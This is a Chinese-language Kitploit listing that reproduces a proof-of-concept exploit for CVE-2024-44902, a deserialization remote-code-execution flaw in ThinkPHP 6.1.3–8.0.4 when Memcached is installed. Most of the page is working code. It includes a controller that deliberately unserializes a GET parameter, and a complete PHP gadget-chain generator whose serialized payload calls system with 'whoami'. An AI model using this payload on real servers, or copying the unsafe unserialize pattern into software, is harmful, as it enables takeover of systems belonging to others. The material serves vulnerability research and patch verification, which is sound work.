Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-44902 — 针对CVE-2024-44902的概念验证漏洞利用程序,该漏洞是ThinkPHP v6.1.3–v8.0.4中的一个反序列化漏洞,当安装Memcached扩展时,可通过精心构造的载荷实现远程代码执行。 | Kitploit
工具/GitHubGitHub/fru1ts/cve-2024-44902
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubfru1ts/cve-2024-44902

CVE-2024-44902

针对CVE-2024-44902的概念验证漏洞利用程序,该漏洞是ThinkPHP v6.1.3–v8.0.4中的一个反序列化漏洞,当安装Memcached扩展时,可通过精心构造的载荷实现远程代码执行。

查看仓库
61年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-44902

漏洞描述

Thinkphp v6.1.3 至 v8.0.4 存在反序列化漏洞,允许攻击者执行任意代码。

影响版本

Thinkphp v6.1.3 至 v8.0.4

利用条件

Thinkphp 框架需已安装 Memcached 扩展。

漏洞验证

  • 测试环境:php8.0.7 + thinkphp8.0.4 + memcached3.2.0

首先,在 app\controller\Index.php 中添加一个新的反序列化端点,例如:

root@kitploit:~
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

你可以通过以下代码生成 payload:

root@kitploit:~
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["fru1ts"]=["whoami"];
        $this->withAttr["fru1ts"]=["system"];
        $this->json=["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

使用该 payload 进行反序列化可导致 RCE:

image-20240905234416317

下载工具